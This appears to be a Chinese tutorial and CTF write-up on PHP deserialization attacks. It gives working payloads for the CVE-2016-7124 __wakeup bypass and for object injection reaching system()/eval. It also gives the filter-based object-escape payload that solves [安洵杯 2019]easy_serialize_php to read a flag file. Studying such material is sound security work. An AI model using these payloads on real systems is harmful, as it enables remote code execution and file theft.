基础知识
我理解的反序列化操作:当对反序列化的字符串可控时,通过伪造成功的字符串,覆盖目标代码中的字符串
读取反序列化的代码对做题很重要,来个例子
<?php
class Test{
public $a = 'My';
protected $b = 'Name';
private $c = 'C_soon5';
}
$object = new Test();
echo serialize($object);
输入结果:O:4:”Test”:3:{s:1:”a”;s:2:”My”;s:4:” * b”;s:4:”Name”;s:7:” Test c”;s:7:”C_soon5”;}
下面对这个结果进行分析
首先是最外面是实例对象的一些修饰,O表示实例对象,4表示该对象名称有4个字符,"Test"表示对象名称,3表示有3个属性
{}用来包含对象里面的内容,;分隔类型和名称,:分隔属性和值
属性类型:属性长度:"属性名称";值类型:值长度:"值内容"
s:1:"a";s:2:"My";
s:4:" * b";s:4:"Name";
s:7:" Test c";s:7:"C_soon5";
注意点:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同
public 被序列化的时候属性名 不会更改
protected 被序列化的时候属性名 会变成 %00*%00属性名
private 被序列化的时候属性名 会变成 %00类名%00属性名
属性类型表格
a | array数组 |
---|---|
b | boolean判断类型 |
d | double浮点数 |
i | integer整数型 |
o | common object 一般的对象 |
r | reference引用类型 |
s | string字符串类型 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
实战了解反序列化
CVE-2016-7124
PHP5 < 5.6.25、PHP7 < 7.0.10
首先要了解PHP的魔法函数
__construct() 创建对象时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__toString() 把类当作字符串使用时触发
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 wakeup 方法,反序列化前会调用 wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行,实例代码如下:
<?php
class Test{
public $cmd;
function __wakeup(){
echo "cmd is null";
$this->cmd = '';
}
function __destruct(){
@system($this->cmd);
}
}
$test = $_GET['cmd'];
@unserialize($test);
?>
通过代码,生成正常的序列化字符串
<?php
class Test{
public $cmd='whoami';
}
$cmd = new Test();
echo serialize($cmd);
输出结果:
O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
将结果传参后,发现输出”cmd is null”,因为上面代码通过unserialize反序列化前,调用了 wakeup 方法将 $cmd 参数置为空,在程序退出时执行 destruct 方法时也就执行不了任何命令
这里通过修改对象属性个数,绕过__wakeup方法,这样$cmd就有值了
O:4:”Test”:2:{s:3:”cmd”;s:6:”whoami”;}
对象注入
构造目标同名对象,使得析构函数调用构造的方法,实现任意代码执行
实例代码如下:
<?php
class A{
var $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
var $test;
function action(){
eval($this->test);
}
}
@unserialize($_GET['cmd']);
构造反序列化字符串
<?php
class A{
var $target;
function __construct(){
$this->target = new C;
$this->target->test = "system('whoami');";
}
}
Class C{
var $test;
}
echo serialize(new A());
?>
输出结果:
O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:17:"system('whoami');";}}
对象逃逸
原题链接:[安洵杯 2019]easy_serialize_php
实例代码+分析:
<?php
#定义GET传参名称
$function = @$_GET['f'];
#定义过滤函数,在下面序列化时用到
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
#清空SESSION信息
if($_SESSION){
unset($_SESSION);
}
#定义变量$_SESSION的值,数组形式
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
#将POST传参更改为变量,如a=123-->$a=123,下面POST传参会用到
extract($_POST);
#定义访问页面时的页面
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
#定义GET传参ima_path的值,如果没有值,默认为guest_img.png,如果有值,则sha1进行加密
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
#定义序列化的值,可以通过POST传参获取
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info); #对过滤过的字符串进行反序列化
#对base64解密过的img下标对应的值进行读取
echo file_get_contents(base64_decode($userinfo['img']));
}
分析代码得知:
1.想通过更改img_path的值读取是不行的了,因为为sha1加密
2.这里有extract变量覆盖+filter过滤函数
在做题之前,先了解一下反序列化的机制
一、反序列化的过程是有一定识别范围的,在这个范围之外的字符(例子中的abc)都会被忽略,不影响反序列化的正常进行。
<?php
$str='a:2:{i:0;s:7:"C_soon5";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
输出结果:
array(2) {
[0]=>
string(7) "C_soon5"
[1]=>
string(5) "aaaaa"
}
二、逃逸机制(考点)
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo (serialize($_SESSION));
?>
输出结果:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这里通过filter函数进行过滤,看输出的结果是什么
<?php
function filter($data){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$data);
}
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo unserialize(filter(serialize($_SESSION)));
?>
输入结果:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
图解分析
因为这里flagflagflagflag被过滤,所以缺少24个字符,需要补上,而原来包含”flagflagflagfalg”中的右边的双引号,这时被当成了普通字符串,直到24个字符到了为止,而24个字符到了,这里是少个双引号的,这里就由定义的字符串中的a”给补上了,因为反序列化在{}匹配成功后,别的字符就不管了,所以新的序列化字符串就为
a:3:{s:4:”user”;s:24:””;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}
img的值就可以通过这种方法间接控制。
在解释一下为啥要带一个s:2:”dd”;s:1:”a”;,因为根据题目的代码,这里是需要三个属性和值的,因为function被吃掉了,形成了普通字符串,所以需要另外一个对象,这里可以随便定义,只要符合序列化规范就行
回到题目中,代码中有phpinfo可以读取,发现里面有flag读取提示文件
根据上面的解析,payload如下:
Get:f=show_image
Post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}
查看源代码,还要读取。
这里对/d0g3_fllllllag进行base64加密后,发现也是24位,所以刚才payload的base64内容变下就行
Get:f=show_image
Post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:2:”dd”;s:1:”a”;}